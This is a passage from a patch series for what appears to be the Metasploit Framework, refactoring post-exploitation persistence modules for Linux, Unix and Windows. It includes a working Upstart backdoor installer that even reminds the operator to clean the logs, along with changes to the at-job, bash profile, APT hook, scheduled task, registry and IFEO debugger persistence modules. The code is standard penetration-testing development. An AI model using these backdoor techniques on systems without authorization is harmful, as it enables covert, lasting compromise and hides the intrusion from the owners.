'Name of shell file to write']), + OptString.new('SERVICE', [false, 'Name of service to create']) + ] + ) + register_advanced_options( + [ + OptBool.new('EnableService', [true, 'Enable the service', true]) + ] + ) + end + + def check + return CheckCode::Safe("#{datastore['WritableDir']} isnt writable") unless writable?(datastore['WritableDir']) + + if service_system_exists?('initctl') + return CheckCode::Appears("#{datastore['WritableDir']} is writable and upstart based") + end + + CheckCode::Safe('Likely not an upstart based system') + end + + def exploit + backdoor = write_shell(datastore['WritableDir']) + if backdoor.nil? + return + end + + path = backdoor.split('/')[0...-1].join('/') + file = backdoor.split('/')[-1] + + upstart(path, file, target.opts[:runlevel]) + end + + def service_system_exists?(command) + service_cmd = cmd_exec("which #{command}") + !(service_cmd.empty? || service_cmd.include?('no')) + end + + def write_shell(path) + file_name = datastore['SHELL_NAME'] || Rex::Text.rand_text_alpha(5) + backdoor = "#{path}/#{file_name}" + vprint_status("Writing backdoor to #{backdoor}") + write_file(backdoor, payload.encoded) + if file_exist?(backdoor) + cmd_exec("chmod 711 #{backdoor}") + backdoor + else + print_error('File not written, check permissions.') + return + end + end + + def upstart(backdoor_path, backdoor_file, runlevel) + script = %(description \"Start daemon at boot time\" +start on filesystem or runlevel [#{runlevel}] +stop on shutdown +script + cd #{backdoor_path} + echo $$ > /var/run/#{backdoor_file}.pid + exec #{backdoor_file} +end script +post-stop exec sleep 10 +respawn +respawn limit unlimited) + + service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7) + service_name = "/etc/init/#{service_filename}.conf" + vprint_status("Writing service: #{service_name}") + write_file(service_name, script) + if !file_exist?(service_name) + print_error('File not written, check permissions.') + return + end + vprint_status('Starting service') + cmd_exec("initctl start #{service_filename}") + vprint_status("Dont forget to clean logs: /var/log/upstart/#{service_filename}.log") + end +end From 186b74c614788bcf5ea8654e33971716a3e6b9dd Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Fri, 31 Jan 2025 09:26:46 -0500 Subject: [PATCH 33/94] feat: persistence mixin cleanup via rc-file --- lib/msf/core/exploit/local/persistence.rb | 58 ++++++++++++++--------- 1 file changed, 35 insertions(+), 23 deletions(-) diff --git a/lib/msf/core/exploit/local/persistence.rb b/lib/msf/core/exploit/local/persistence.rb index b3731f34bd5f..283cc6ddc5bd 100644 --- a/lib/msf/core/exploit/local/persistence.rb +++ b/lib/msf/core/exploit/local/persistence.rb @@ -4,55 +4,67 @@ module Msf module Exploit::Local::Persistence def initialize(info = {}) @persistence_service = Rex::Sync::Event.new(auto_reset=false) + @clean_up_rc = '' super( update_info( info, 'DefaultOptions' => {}, # https://github.com/rapid7/metasploit-framework/pull/19676#discussion_r1907594308 'Stance' => Msf::Exploit::Stance::Passive, - 'Passive' => true, - 'Actions' => [ - [ 'INSTALL', { 'Description' => 'Install the persistence' } ], - [ 'CLEANUP', { 'Description' => 'Cleanup the persistence' } ] - ], - 'DefaultAction' => 'INSTALL' + 'Passive' => true ) ) register_advanced_options( [ OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp/']), - OptString.new('CleanUpBackupPath', [false, 'Local path where backup is stored.', nil]) + OptBool.new('CleanUpRc', [true, 'Create a cleanup resource file.', true]) ] ) end def exploit - case action.name.upcase - when 'INSTALL' - run_as_background = !datastore['DisablePayloadHandler'] - print_warning('Payload handler is disabled, the persistence will be installed only.') unless run_as_background + run_as_background = !datastore['DisablePayloadHandler'] + print_warning('Payload handler is disabled, the persistence will be installed only.') unless run_as_background - # Call the install_persistence function - # must be declared inside the persistence module - install_persistence + # Call the install_persistence function + # must be declared inside the persistence module + install_persistence - @persistence_service.wait if run_as_background + save_cleanup_rc if datastore['CleanUpRc'] && !@clean_up_rc.empty? - when 'CLEANUP' - - # call cleanup_persistence - # must be declared inside the persistence module - cleanup_persistence - end + @persistence_service.wait if run_as_background end def install_persistence # to be overloaded by the module end - def cleanup - # this is done by the action + def save_cleanup_rc + host = session.sys.config.sysinfo['Computer'] + # Create Filename info to be appended to downloaded files + filenameinfo = '_' + ::Time.now.strftime('%Y%m%d.%M%S') + logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo)) + # Create the log directory + ::FileUtils.mkdir_p(logs) + + # logfile name + clean_rc = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + '.rc' + file_local_write(clean_rc, @clean_up_rc) + print_status("Meterpreter-compatible Cleaup RC file: #{clean_rc}") + + report_note(host: host, + type: 'host.persistance.cleanup', + data: { + local_id: session.sid, + stype: session.type, + desc: session.info, + platform: session.platform, + via_payload: session.via_payload, + via_exploit: session.via_exploit, + created_at: Time.now.utc, + commands: @clean_up_rc + }) end end end From 782bd3b7c9dd23b84405d3b805e71675d55088b3 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Fri, 31 Jan 2025 09:27:44 -0500 Subject: [PATCH 34/94] feat: bash_profile persistence cleanup rc-file --- modules/exploits/linux/persistence/bash_profile.rb | 3 +++ 1 file changed, 3 insertions(+) diff --git a/modules/exploits/linux/persistence/bash_profile.rb b/modules/exploits/linux/persistence/bash_profile.rb index b847e7e71e2a..0145ae8b6e2e 100644 --- a/modules/exploits/linux/persistence/bash_profile.rb +++ b/modules/exploits/linux/persistence/bash_profile.rb @@ -101,6 +101,9 @@ def install_persistence append_file(ppath, exec_payload_string) vprint_status('Created Bash profile persistence') print_good('Payload will be triggered when target opens a Bash terminal') + + @clean_up_rc << "rm #{backdoor_path}\n" + @clean_up_rc << "upload #{backup_profile_path} #{ppath}" end def cleanup_persistence From 57dd846c62b7b5b1250eaba6107746f310e7ca7d Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Fri, 31 Jan 2025 09:28:43 -0500 Subject: [PATCH 35/94] feat: apt_package_manager persistence cleanup rc-file --- modules/exploits/linux/persistence/apt_package_manager.rb | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/modules/exploits/linux/persistence/apt_package_manager.rb b/modules/exploits/linux/persistence/apt_package_manager.rb index 2ac0f2ac3d9b..0d979840128f 100644 --- a/modules/exploits/linux/persistence/apt_package_manager.rb +++ b/modules/exploits/linux/persistence/apt_package_manager.rb @@ -73,7 +73,7 @@ def check CheckCode::Detected end - def exploit + def install_persistence fail_with Failure::BadConfig, "#{datastore['HOOKPATH']} not writable, or APT is not on system" unless writable?(datastore['HOOKPATH']) hook_path = datastore['HOOKPATH'] hook_path << (datastore['HOOKNAME'] || "#{rand_text_numeric(2)}#{rand_text_alpha(5..8)}") @@ -103,5 +103,8 @@ def exploit chmod(backdoor_path, 0o755) print_good('Backdoor will run on next APT update') + + @clean_up_rc << "rm #{datastore['HOOKPATH']}\n" + @clean_up_rc << "rm #{backdoor_path}\n" end end From e1549029928a6075e846e4379077dfedc607ab63 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Fri, 31 Jan 2025 09:31:54 -0500 Subject: [PATCH 36/94] feat: autostart persistence cleanup rc-file --- modules/exploits/linux/persistence/autostart.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/exploits/linux/persistence/autostart.rb b/modules/exploits/linux/persistence/autostart.rb index 64384323b697..10cb575de1d7 100644 --- a/modules/exploits/linux/persistence/autostart.rb +++ b/modules/exploits/linux/persistence/autostart.rb @@ -63,7 +63,7 @@ def check CheckCode::Detected('Xorg is installed, possible desktop install.') end - def exploit + def install_persistence name = datastore['BACKDOOR_NAME'] || Rex::Text.rand_text_alpha(5..8) home = cmd_exec('echo ~') @@ -85,5 +85,7 @@ def exploit ].join("\n")) print_good("Backdoor will run on next login by #{whoami}") + + @clean_up_rc << "rm #{path}\n" end end From 490e81057b6957303b726f22c614fcee6761538b Mon Sep 17 00:00:00 2001 From: h00die Date: Fri, 31 Jan 2025 14:22:04 -0500 Subject: [PATCH 37/94] rename linux persistence services to inits --- .../linux/persistence/{service_openrc.rb => init_openrc.rb} | 0 .../linux/persistence/{service_systemd.rb => init_systemd.rb} | 0 .../linux/persistence/{service_system_v.rb => init_sysvinit.rb} | 0 .../linux/persistence/{service_upstart.rb => init_upstart.rb} | 0 4 files changed, 0 insertions(+), 0 deletions(-) rename modules/exploits/linux/persistence/{service_openrc.rb => init_openrc.rb} (100%) rename modules/exploits/linux/persistence/{service_systemd.rb => init_systemd.rb} (100%) rename modules/exploits/linux/persistence/{service_system_v.rb => init_sysvinit.rb} (100%) rename modules/exploits/linux/persistence/{service_upstart.rb => init_upstart.rb} (100%) diff --git a/modules/exploits/linux/persistence/service_openrc.rb b/modules/exploits/linux/persistence/init_openrc.rb similarity index 100% rename from modules/exploits/linux/persistence/service_openrc.rb rename to modules/exploits/linux/persistence/init_openrc.rb diff --git a/modules/exploits/linux/persistence/service_systemd.rb b/modules/exploits/linux/persistence/init_systemd.rb similarity index 100% rename from modules/exploits/linux/persistence/service_systemd.rb rename to modules/exploits/linux/persistence/init_systemd.rb diff --git a/modules/exploits/linux/persistence/service_system_v.rb b/modules/exploits/linux/persistence/init_sysvinit.rb similarity index 100% rename from modules/exploits/linux/persistence/service_system_v.rb rename to modules/exploits/linux/persistence/init_sysvinit.rb diff --git a/modules/exploits/linux/persistence/service_upstart.rb b/modules/exploits/linux/persistence/init_upstart.rb similarity index 100% rename from modules/exploits/linux/persistence/service_upstart.rb rename to modules/exploits/linux/persistence/init_upstart.rb From 1da8e447bc0814495877470b291e2f90e195b860 Mon Sep 17 00:00:00 2001 From: h00die Date: Fri, 31 Jan 2025 14:23:17 -0500 Subject: [PATCH 38/94] unix at persistence --- modules/exploits/unix/persistence/at.rb | 35 +++++++++++++------------ 1 file changed, 18 insertions(+), 17 deletions(-) diff --git a/modules/exploits/unix/persistence/at.rb b/modules/exploits/unix/persistence/at.rb index f4050f62948f..4bd8775e6712 100644 --- a/modules/exploits/unix/persistence/at.rb +++ b/modules/exploits/unix/persistence/at.rb @@ -8,6 +8,8 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::File include Msf::Exploit::FileDropper + include Msf::Exploit::Local::Persistence + prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Deprecated moved_from 'exploits/unix/local/at_persistence' @@ -28,41 +30,40 @@ def initialize(info = {}) 'Platform' => %w[unix], 'Arch' => ARCH_CMD, 'DisclosureDate' => '1997-01-01', # http://pubs.opengroup.org/onlinepubs/007908799/xcu/at.html + 'References' => [ + ['URL', 'https://linux.die.net/man/1/at'], + ['URL', 'https://www.geeksforgeeks.org/at-command-in-linux-with-examples/'], + ['URL', 'https://attack.mitre.org/techniques/T1053/002/'], + ], 'Notes' => { 'Reliability' => [REPEATABLE_SESSION], - 'Stability' => [CRASH_SAFE], + 'Stability' => [CRASH_SAFE, EVENT_DEPENDENT], 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] } ) ) register_options([ - OptString.new('TIME', [false, 'When to run job via at(1). Changing may require WfsDelay to be adjusted.', 'now']) - ]) - - register_advanced_options([ - OptString.new('PATH', [false, 'Path to store payload to be executed by at(1). Leave unset to use mktemp.']) + OptString.new('TIME', [false, 'When to run job via at(1). See timespec', 'now']) ]) end def check + return CheckCode::Safe("#{datastore['WritableDir']} does not exist") unless exists? datastore['WritableDir'] + return CheckCode::Safe("#{datastore['WritableDir']} not writable") unless writable? datastore['WritableDir'] + + return CheckCode::Safe('at(1) not found on system') unless command_exists? 'at' + + # we do a direct test with atq instead of reading at.allow and at.deny token = Rex::Text.rand_text_alphanumeric(8) if cmd_exec("atq && echo #{token}").include?(token) - CheckCode::Vulnerable - else - CheckCode::Safe + return CheckCode::Vulnerable('at(1) confirmed to be usable as a persistence mechanism') end + + CheckCode::Safe('at(1) not usable as a persistence mechanism likely due to explicit permissions in at.allow or at.deny') end def exploit - unless check == Exploit::CheckCode::Vulnerable - fail_with(Failure::NoAccess, 'User denied cron via at.deny') - end - - unless (payload_file = datastore['PATH'] || cmd_exec('mktemp')) - fail_with(Failure::BadConfig, 'Unable to find suitable location for payload') - end - write_file(payload_file, payload.encoded) register_files_for_cleanup(payload_file) From e62acab5984b26a62e136b305a1165c18da0e1c3 Mon Sep 17 00:00:00 2001 From: h00die Date: Fri, 31 Jan 2025 14:57:54 -0500 Subject: [PATCH 39/94] s4u persistence module --- modules/exploits/windows/persistence/s4u.rb | 28 +++++++++++++++------ 1 file changed, 20 insertions(+), 8 deletions(-) diff --git a/modules/exploits/windows/persistence/s4u.rb b/modules/exploits/windows/persistence/s4u.rb index c599fcd82f62..bac80feead55 100644 --- a/modules/exploits/windows/persistence/s4u.rb +++ b/modules/exploits/windows/persistence/s4u.rb @@ -9,6 +9,8 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::File include Msf::Post::Windows::Priv include Exploit::EXE + include Msf::Exploit::Local::Persistence + prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Deprecated moved_from 'exploits/windows/local/s4u_persistence' @@ -16,7 +18,7 @@ def initialize(info = {}) super( update_info( info, - 'Name' => 'Windows Manage User Level Persistent Payload Installer', + 'Name' => 'Windows Manage User Level Persistent Payload Installer (S4U)', 'Description' => %q{ Creates a scheduled task that will run using service-for-user (S4U). This allows the scheduled task to run even as an unprivileged user @@ -36,8 +38,14 @@ def initialize(info = {}) 'DefaultTarget' => 0, 'References' => [ [ 'URL', 'http://www.pentestgeek.com/2013/02/11/scheduled-tasks-with-s4u-and-on-demand-persistence/' ], - [ 'URL', 'http://www.scriptjunkie.us/2013/01/running-code-from-a-non-elevated-account-at-any-time/' ] + [ 'URL', 'http://www.scriptjunkie.us/2013/01/running-code-from-a-non-elevated-account-at-any-time/' ], + [ 'URL', 'https://attack.mitre.org/techniques/T1053/005/' ], ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], + 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] + }, 'Compat' => { 'Meterpreter' => { 'Commands' => %w[ @@ -63,24 +71,28 @@ def initialize(info = {}) register_advanced_options( [ - OptString.new('EVENT_LOG', [false, 'Event trigger: The event log to check for event']), - OptInt.new('EVENT_ID', [false, 'Event trigger: Event ID to trigger on.']), + OptString.new('EVENT_LOG', [false, 'Event trigger: The event log to check for event'], conditions: ['TRIGGER', '==', 'event']), + OptInt.new('EVENT_ID', [false, 'Event trigger: Event ID to trigger on.'], conditions: ['TRIGGER', '==', 'event']), OptString.new('XPATH', [false, 'XPath query']) ] ) + + # XXX we will likely want to use this instead of PATH in the future + deregister_options('WritableDir') end - def exploit + def check version = get_version_info unless version.build_number >= Msf::WindowsVersion::Vista_SP0 - fail_with(Failure::NoTarget, 'This module only works on Vista/2008 and above') + return CheckCode::Safe('This module only works on Windows Vista/2008 and above') end if datastore['TRIGGER'] == 'event' && (datastore['EVENT_LOG'].nil? || datastore['EVENT_ID'].nil?) - print_status('The properties of any event in the event viewer will contain this information') - fail_with(Failure::BadConfig, 'Advanced options EVENT_LOG and EVENT_ID required for event') + return CheckCode::Safe('Advanced options EVENT_LOG and EVENT_ID required for event trigger') end + end + def exploit # Generate payload payload = generate_payload_exe From 3bbf381a1e20af57051c28a20d23a075da0d4e4d Mon Sep 17 00:00:00 2001 From: h00die Date: Fri, 31 Jan 2025 15:07:43 -0500 Subject: [PATCH 40/94] windows registry persistence module --- .../exploits/windows/persistence/registry.rb | 19 +++++++++++++++++-- 1 file changed, 17 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/persistence/registry.rb b/modules/exploits/windows/persistence/registry.rb index 796883f1ee1d..8f1003390b98 100644 --- a/modules/exploits/windows/persistence/registry.rb +++ b/modules/exploits/windows/persistence/registry.rb @@ -9,6 +9,8 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Exploit::Powershell include Msf::Post::Windows::Registry include Msf::Post::File + include Msf::Exploit::Local::Persistence + prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Deprecated moved_from 'exploits/windows/local/registry_persistence' @@ -34,8 +36,13 @@ def initialize(info = {}) ], 'DefaultTarget' => 0, 'DisclosureDate' => '2015-07-01', - 'DefaultOptions' => { - 'DisablePayloadHandler' => true + 'References' => [ + [ 'URL', 'https://attack.mitre.org/techniques/T1547/001/' ], + ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], + 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] } ) ) @@ -56,6 +63,14 @@ def initialize(info = {}) ]) end + def check + # not quite sure what we could check for, maybe registry write and then delete the value? + # if anyone has comments, please let h00die know! + + # maybe Exploit::CheckCode::Unsupported instead since we don't check anything? but if its windows, its vulnerable... + Exploit::CheckCode::Detected('System likely vulnerable') + end + def generate_payload_blob opts = { wrap_double_quotes: true, From 868775eb5e25a149f5e130afd1a1a74a8f7d5602 Mon Sep 17 00:00:00 2001 From: h00die Date: Fri, 31 Jan 2025 17:01:40 -0500 Subject: [PATCH 41/94] windows ps_persist --- .../windows/persistence/ps_persist.rb | 25 +++++++++++-------- 1 file changed, 15 insertions(+), 10 deletions(-) diff --git a/modules/exploits/windows/persistence/ps_persist.rb b/modules/exploits/windows/persistence/ps_persist.rb index 9053de002e14..e3d3ad224c64 100644 --- a/modules/exploits/windows/persistence/ps_persist.rb +++ b/modules/exploits/windows/persistence/ps_persist.rb @@ -9,7 +9,11 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::Windows::Services include Msf::Post::Windows::Powershell include Msf::Post::Windows::Powershell::DotNet + include Msf::Exploit::Local::Persistence + prepend Msf::Exploit::Remote::AutoCheck include Msf::Post::File + include Msf::Exploit::Deprecated + moved_from 'exploits/windows/local/ps_persistence' def initialize(info = {}) super( @@ -53,6 +57,11 @@ def initialize(info = {}) stdapi_sys_process_execute ] } + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] } ) ) @@ -81,22 +90,18 @@ def initialize(info = {}) ) end - def exploit + def check # Make sure we meet the requirements before running the script if !(session.type == 'meterpreter' || have_powershell?) - print_error('Incompatible Environment') - return + return CheckCode::Safe('Session type is not meterpreter or powershell. Incompatible Environment') end # Havent figured this one out yet, but we need a PID owned by a user, cant steal tokens either - if client.sys.config.is_system? - print_error('Cannot run as system') - return - end + return CheckCode::Safe('Cannot run as system') if client.sys.config.is_system? - # End of file marker - Rex::Text.rand_text_alpha(8) - Rex::Text.rand_text_alpha(8) + CheckCode::Detected('System likely vulnerable') + end + def exploit com_opts = {} com_opts[:net_clr] = 4.0 # Min .NET runtime to load into a PS session com_opts[:target] = datastore['OUTPUT_TARGET'] || session.sys.config.getenv('TEMP') + "\\#{Rex::Text.rand_text_alpha(rand(8..15))}.exe" From 6e29418ff99b0cc428f8c7657edcb210f25d541e Mon Sep 17 00:00:00 2001 From: h00die Date: Fri, 31 Jan 2025 17:09:17 -0500 Subject: [PATCH 42/94] process_exit_debugger udpates --- .../persistence/process_exit_debugger.rb | 41 +++++++++++-------- 1 file changed, 23 insertions(+), 18 deletions(-) diff --git a/modules/exploits/windows/persistence/process_exit_debugger.rb b/modules/exploits/windows/persistence/process_exit_debugger.rb index 739a8599ffda..7e8aaeb46051 100644 --- a/modules/exploits/windows/persistence/process_exit_debugger.rb +++ b/modules/exploits/windows/persistence/process_exit_debugger.rb @@ -10,6 +10,8 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::File include Msf::Exploit::EXE include Msf::Post::Windows::Priv + include Msf::Exploit::Local::Persistence + prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Deprecated moved_from 'exploits/windows/local/persistence_image_exec_options' @@ -39,44 +41,48 @@ def initialize(info = {}) ['URL', 'https://attack.mitre.org/techniques/T1183/'], ['URL', 'https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/'] ], - 'DefaultOptions' => { - 'DisablePayloadHandler' => true - }, 'Compat' => { 'Meterpreter' => { 'Commands' => %w[ stdapi_sys_config_getenv ] } + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], + 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] } ) ) register_options([ OptString.new('PAYLOAD_NAME', [false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]), - OptString.new('PATH', [false, 'Path to write payload(%TEMP% by default).', nil]), + OptString.new('PATH', [false, 'Path to write payload (%TEMP% by default).', nil]), OptString.new('IMAGE_FILE', [true, 'Binary to "debug"', nil]) ]) - end - def upload_payload(dest_pathname) - payload_exe = generate_payload_exe - write_file(dest_pathname, payload_exe) - vprint_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{dest_pathname}") + # XXX replace 'PATH' ? + deregister_options('WritableDir') end - def validate_active_host + def check + path = datastore['PATH'] || session.sys.config.getenv('TEMP') + + return CheckCode::Safe("Path not writable: #{path}") unless writable?(path) + unless is_system? - fail_with(Failure::NoAccess, 'You must be System to run this Module') + CheckCode::Safe('You must be System to run this Module') end - begin - print_status("Attempting Persistence on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}") - rescue Rex::Post::Meterpreter::RequestError => e - elog(e) - raise Msf::Exploit::Failed, 'Could not connect to session' - end + CheckCode::Appears('Target is vulnerable') + end + + def upload_payload(dest_pathname) + payload_exe = generate_payload_exe + write_file(dest_pathname, payload_exe) + vprint_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{dest_pathname}") end def write_reg_keys(image_file, payload_pathname) @@ -107,7 +113,6 @@ def write_reg_keys(image_file, payload_pathname) end def exploit - validate_active_host payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(rand(6..13)) temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP') image_file = datastore['IMAGE_FILE'] From a17e15217a3db79ddfd8a6b6de09217cddc77a3d Mon Sep 17 00:00:00 2001 From: h00die Date: Fri, 31 Jan 2025 17:09:47 -0500 Subject: [PATCH 43/94] persistence consistencies --- modules/exploits/windows/persistence/ps_persist.rb | 2 ++ modules/exploits/windows/persistence/registry.rb | 2 ++ 2 files changed, 4 insertions(+) diff --git a/modules/exploits/windows/persistence/ps_persist.rb b/modules/exploits/windows/persistence/ps_persist.rb index e3d3ad224c64..02b8ef2c198d 100644 --- a/modules/exploits/windows/persistence/ps_persist.rb +++ b/modules/exploits/windows/persistence/ps_persist.rb @@ -88,6 +88,8 @@ def initialize(info = {}) ] ) + + deregister_options('WritableDir') end def check diff --git a/modules/exploits/windows/persistence/registry.rb b/modules/exploits/windows/persistence/registry.rb index 8f1003390b98..2e1248ef9180 100644 --- a/modules/exploits/windows/persistence/registry.rb +++ b/modules/exploits/windows/persistence/registry.rb @@ -61,6 +61,8 @@ def initialize(info = {}) OptInt.new('SLEEP_TIME', [false, 'Amount of time to sleep (in seconds) before executing payload. (Default: 0)', 0]), ]) + + deregister_options('WritableDir') end def check From 5188b2085c18acd1d60ec7be00e79cfc2b589ea5 Mon Sep 17 00:00:00 2001 From: h00die Date: Sat, 1 Feb 2025 07:52:49 -0500 Subject: [PATCH 44/94] windows persistence moved to registry_vbs --- .../{persistence.rb => registry_vbs.rb} | 41 +++++++++++-------- 1 file changed, 24 insertions(+), 17 deletions(-) rename modules/exploits/windows/persistence/{persistence.rb => registry_vbs.rb} (92%) diff --git a/modules/exploits/windows/persistence/persistence.rb b/modules/exploits/windows/persistence/registry_vbs.rb similarity index 92% rename from modules/exploits/windows/persistence/persistence.rb rename to modules/exploits/windows/persistence/registry_vbs.rb index 070303fa8536..a000ba76387d 100644 --- a/modules/exploits/windows/persistence/persistence.rb +++ b/modules/exploits/windows/persistence/registry_vbs.rb @@ -11,6 +11,10 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::Windows::Priv include Msf::Post::Windows::Registry include Msf::Exploit::EXE + include Msf::Exploit::Local::Persistence + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Deprecated + moved_from 'exploits/windows/local/persistence' def initialize(info = {}) super( @@ -28,13 +32,10 @@ def initialize(info = {}) 'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features ], 'Platform' => [ 'win' ], - 'SessionTypes' => [ 'meterpreter' ], + 'SessionTypes' => [ 'meterpreter', 'shell' ], 'Targets' => [ [ 'Windows', {} ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2011-10-19', - 'DefaultOptions' => { - 'DisablePayloadHandler' => true - }, 'Compat' => { 'Meterpreter' => { 'Commands' => %w[ @@ -43,6 +44,14 @@ def initialize(info = {}) stdapi_sys_config_sysinfo ] } + }, + 'References' => [ + [ 'URL', 'https://attack.mitre.org/techniques/T1547/001/' ], + ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], + 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] } ) ) @@ -58,18 +67,24 @@ def initialize(info = {}) [false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]), OptString.new('REG_NAME', [false, 'The name to call registry value for persistence on target host (%RAND% by default).', nil]), - OptString.new('PATH', - [false, 'Path to write payload (%TEMP% by default).', nil]) + # WritableDir now + # OptString.new('PATH', + # [false, 'Path to write payload (%TEMP% by default).', nil]) ]) register_advanced_options([ - OptBool.new('HANDLER', - [false, 'Start an exploit/multi/handler job to receive the connection', false]), OptBool.new('EXEC_AFTER', [false, 'Execute persistent script after installing.', false]) ]) end + def check + path = datastore['WritableDir'] || session.sys.config.getenv('TEMP') + return CheckCode::Safe("Path not writable: #{path}") unless writable?(path) + + CheckCode::Appears + end + # Exploit method for when exploit command is issued def exploit # Define default values @@ -79,7 +94,6 @@ def exploit startup = datastore['STARTUP'].downcase delay = datastore['DELAY'] exec_after = datastore['EXEC_AFTER'] - handler = datastore['HANDLER'] @clean_up_rc = '' rvbs_name += '.vbs' if rvbs_name[-4, 4] != '.vbs' @@ -99,13 +113,6 @@ def exploit print_warning('Note: Current user is SYSTEM & STARTUP == USER. This user may not login often!') end - if handler && !datastore['DisablePayloadHandler'] - # DisablePayloadHandler will stop listening after the script finishes - we want a job so it continues afterwards! - print_warning('Note: HANDLER == TRUE && DisablePayloadHandler == TRUE. This will create issues...') - print_warning('Disabling HANDLER...') - handler = false - end - # Generate the exe payload vprint_status("Generating EXE payload (#{rexe_name})") exe = generate_payload_exe @@ -170,7 +177,7 @@ def exploit # file could not be written. def write_script_to_target(vbs, name) filename = name || Rex::Text.rand_text_alpha(rand(6..13)) + '.vbs' - temppath = datastore['PATH'] || session.sys.config.getenv('TEMP') + temppath = datastore['WritableDir'] || session.sys.config.getenv('TEMP') filepath = temppath + '\\' + filename unless directory?(temppath) From 222819081700954929c8bd6a73de9153d330c117 Mon Sep 17 00:00:00 2001 From: h00die Date: Sat, 1 Feb 2025 07:53:28 -0500 Subject: [PATCH 45/94] windows persistence moved to registry_vbs --- modules/exploits/windows/persistence/registry_vbs.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/persistence/registry_vbs.rb b/modules/exploits/windows/persistence/registry_vbs.rb index a000ba76387d..5809f5ad3759 100644 --- a/modules/exploits/windows/persistence/registry_vbs.rb +++ b/modules/exploits/windows/persistence/registry_vbs.rb @@ -295,7 +295,7 @@ def create_multihandler(lhost, lport, payload_name) # Method for checking if a listener for a given IP and port is present # will return true if a conflict exists and false if none is found def check_for_listener(lhost, lport) - client.framework.jobs.each do |_k, j| + client.framework.jobs.each_value do |j| next unless j.name =~ %r{ multi/handler} current_id = j.jid From c159660b6c6808126bf077c4ac7d664516ccda08 Mon Sep 17 00:00:00 2001 From: h00die Date: Sat, 1 Feb 2025 07:54:09 -0500 Subject: [PATCH 46/94] windows persistence small fixes --- .../windows/persistence/process_exit_debugger.rb | 9 +++------ modules/exploits/windows/persistence/registry.rb | 2 +- 2 files changed, 4 insertions(+), 7 deletions(-) diff --git a/modules/exploits/windows/persistence/process_exit_debugger.rb b/modules/exploits/windows/persistence/process_exit_debugger.rb index 7e8aaeb46051..f8b321215a0c 100644 --- a/modules/exploits/windows/persistence/process_exit_debugger.rb +++ b/modules/exploits/windows/persistence/process_exit_debugger.rb @@ -58,17 +58,14 @@ def initialize(info = {}) register_options([ OptString.new('PAYLOAD_NAME', [false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]), - OptString.new('PATH', [false, 'Path to write payload (%TEMP% by default).', nil]), + # OptString.new('PATH', [false, 'Path to write payload (%TEMP% by default).', nil]), OptString.new('IMAGE_FILE', [true, 'Binary to "debug"', nil]) ]) - - # XXX replace 'PATH' ? - deregister_options('WritableDir') end def check - path = datastore['PATH'] || session.sys.config.getenv('TEMP') + path = datastore['WritableDir'] || session.sys.config.getenv('TEMP') return CheckCode::Safe("Path not writable: #{path}") unless writable?(path) @@ -114,7 +111,7 @@ def write_reg_keys(image_file, payload_pathname) def exploit payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(rand(6..13)) - temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP') + temp_path = datastore['WritableDir'] || session.sys.config.getenv('TEMP') image_file = datastore['IMAGE_FILE'] payload_pathname = temp_path + '\\' + payload_name + '.exe' vprint_status("Payload pathname = #{payload_pathname}") diff --git a/modules/exploits/windows/persistence/registry.rb b/modules/exploits/windows/persistence/registry.rb index 2e1248ef9180..e42a65671d58 100644 --- a/modules/exploits/windows/persistence/registry.rb +++ b/modules/exploits/windows/persistence/registry.rb @@ -42,7 +42,7 @@ def initialize(info = {}) 'Notes' => { 'Stability' 